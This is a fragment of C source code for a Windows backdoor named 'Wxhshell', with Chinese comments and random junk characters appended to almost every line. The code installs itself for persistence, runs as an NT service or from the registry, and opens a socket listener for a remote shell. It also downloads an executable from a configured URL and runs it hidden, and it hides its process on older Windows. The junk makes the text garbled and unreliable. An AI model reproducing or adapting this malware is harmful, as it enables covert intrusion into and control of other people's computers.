DWORD BasePriority; Y' K+O
ULONG UniqueProcessId; N
zrHWVD
ULONG InheritedFromUniqueProcessId; 1EE4N\
} PROCESS_BASIC_INFORMATION; 1eQfc{[g
|NuX9!S
PROCNTQSIP NtQueryInformationProcess; :yg:sU
D<=x<.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Uk ejx
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v
C,53g
3"v
k$
HANDLE hProcess; @o4+MQFn
PROCESS_BASIC_INFORMATION pbi; 7G6XK
lO^Ly27
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Mp8!9=&
if(NULL == hInst ) return 0; +c4-7/kE
bm/pLC6%.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >
mI1wV[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wxC&KrRF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \3nu &8d
Y)~Y; ;/G
if (!NtQueryInformationProcess) return 0; 4}0DEH.Vx
GD*rTtDWn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3B *b d
if(!hProcess) return 0; Vyy;mEBg
YY{0WWua
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x<&2`=
] oOSL=~c
CloseHandle(hProcess); ~nQ= iB
<4lR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #>O!N
if(hProcess==NULL) return 0; +Cs[]~
9E`WZo^.
HMODULE hMod; p2m@0ou
char procName[255]; |l \!
unsigned long cbNeeded; ~rnbuIh
8{0=tOXx{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,=TY:U;?
qg7qTF&
CloseHandle(hProcess); h=?V)WSM
Rgstk/1
if(strstr(procName,"services")) return 1; // 以服务启动 Z<_"Tk;!',
]|H`?L
return 0; // 注册表启动 8|]r>L$Wk
} tW^oa
@=i-*U
// 主模块 sxG8jD
int StartWxhshell(LPSTR lpCmdLine) ,\){-H/n
{ t(~V:+W 9
SOCKET wsl; `(- nSQ
BOOL val=TRUE; 2wCSjAWWh(
int port=0; 2SjH7
'
struct sockaddr_in door; ?"hrCEHV{9
c+BD37S
if(wscfg.ws_autoins) Install(); EO.Se9ux
g4eEkG`XTS
port=atoi(lpCmdLine); n'?AZ4&z
OM>,1;UH]
if(port<=0) port=wscfg.ws_port; ,(&p"O":
c[IT?6J4
WSADATA data; %yyvB5Y^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w}20l F
`j#zwgUs
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pA%}CmrMq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TTDcVG_}
door.sin_family = AF_INET; Pv#Oea?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l1 M
%
door.sin_port = htons(port); @V\u<n
Vx
Vpl@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &gxWdG}qx]
closesocket(wsl); k4C3SI*`4
return 1; Mzg zOM
} $yn7XonS
*XU2%"Sc
if(listen(wsl,2) == INVALID_SOCKET) { /VmtQ{KTt+
closesocket(wsl); VYR<x QA
return 1; '9ki~jtf=
} "^froQ{"T
Wxhshell(wsl); MQ#nP_i
WSACleanup(); yv;KKQ
@%^JB
return 0; ,J$XVvwxF
|&oTxx$S
} >fq]c
6*aU^#Hz6
// 以NT服务方式启动 w=QlQ\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CyV2=o!F w
{ WR.>?IG2E
DWORD status = 0; cb3Q{.-.#
DWORD specificError = 0xfffffff; GXnrVI
mEZHrr J
serviceStatus.dwServiceType = SERVICE_WIN32; w-j^jU><3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $eq*@5B
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /ucS*m:<x
serviceStatus.dwWin32ExitCode = 0; Oxp!G7qfo
serviceStatus.dwServiceSpecificExitCode = 0; cr`NHl/XF
serviceStatus.dwCheckPoint = 0; sU$<v( `"
serviceStatus.dwWaitHint = 0; X
T<SR]
eY V Jk7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~Yr`5+Z
if (hServiceStatusHandle==0) return; '>^!a!<G
%MM)5MsB
status = GetLastError(); e~ZxDAd
if (status!=NO_ERROR) )z_5I (?&
{ 3
,f3^A
serviceStatus.dwCurrentState = SERVICE_STOPPED; |V&E q>G
serviceStatus.dwCheckPoint = 0; Y6[O
s1
serviceStatus.dwWaitHint = 0; AX] cM)w
serviceStatus.dwWin32ExitCode = status; 2PC:F9dh\
serviceStatus.dwServiceSpecificExitCode = specificError; "(YfvO+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1wg#4h43l
return; Vo;0i$
} Pr_DMu
rU
|%
serviceStatus.dwCurrentState = SERVICE_RUNNING; <'N~|B/yZ
serviceStatus.dwCheckPoint = 0; tc|PN+v;
serviceStatus.dwWaitHint = 0; )tv~N7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [$D%]]/,
} rNoCmNm
mo D)^':.
// 处理NT服务事件,比如:启动、停止 $Xr4=9(|7
VOID WINAPI NTServiceHandler(DWORD fdwControl) +7mUX
{ M#.dF{%%
switch(fdwControl) [85b+SKW
{ F|&%Z(@a
case SERVICE_CONTROL_STOP: GD1L6kVd1
serviceStatus.dwWin32ExitCode = 0; (XNd]G
serviceStatus.dwCurrentState = SERVICE_STOPPED;
<64#J9T^
serviceStatus.dwCheckPoint = 0; EEP&Y?
serviceStatus.dwWaitHint = 0; aQj"FUL
{ j6dlAe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +62}//_?
} v@,`(\Ca'
return; qV)hCc/ ~
case SERVICE_CONTROL_PAUSE: \HL66%b[
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4*9BAv
break; "9IR|
case SERVICE_CONTROL_CONTINUE: 2i$_ ,[fi
serviceStatus.dwCurrentState = SERVICE_RUNNING; >-j([%
break; fC+tu>=
case SERVICE_CONTROL_INTERROGATE: zgl$ n
break; f{-,"6Y1
}; )Vo%}g?6!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p{x6BVw?>
} iSNbbu#
r-_-/O"l
// 标准应用程序主函数 @o6!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Flaqgi/j
{ w>4( hGO
{8556> \~
// 获取操作系统版本 kbSl.V%)
OsIsNt=GetOsVer(); n5Mhp:zc,
GetModuleFileName(NULL,ExeFile,MAX_PATH); blUS6"kV}
F$S/zh$)0
// 从命令行安装 nK`H;k
if(strpbrk(lpCmdLine,"iI")) Install(); t!59upbN}3
d*$x|B|V
// 下载执行文件 `_x#`%!#2
if(wscfg.ws_downexe) { gZ
us}U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c_ u7O
\
WinExec(wscfg.ws_filenam,SW_HIDE); b?/Su<q
} v}=pxWhm
CdKs+x&tZ
if(!OsIsNt) { PHMp,z8
// 如果时win9x,隐藏进程并且设置为注册表启动 _TyQC1 d
HideProc(); v}<z_i5/C.
StartWxhshell(lpCmdLine); i "aQm
} H'I5LYsXO~
else rIX 40,`
if(StartFromService()) 4'.]-u
// 以服务方式启动 jX,A.
StartServiceCtrlDispatcher(DispatchTable); MfraTUxIo/
else q)PSHr=Z
// 普通方式启动 iZ0.rcQj'o
StartWxhshell(lpCmdLine); OqX+R4S
&zPM#Q
return 0; Q'[~$~&`
}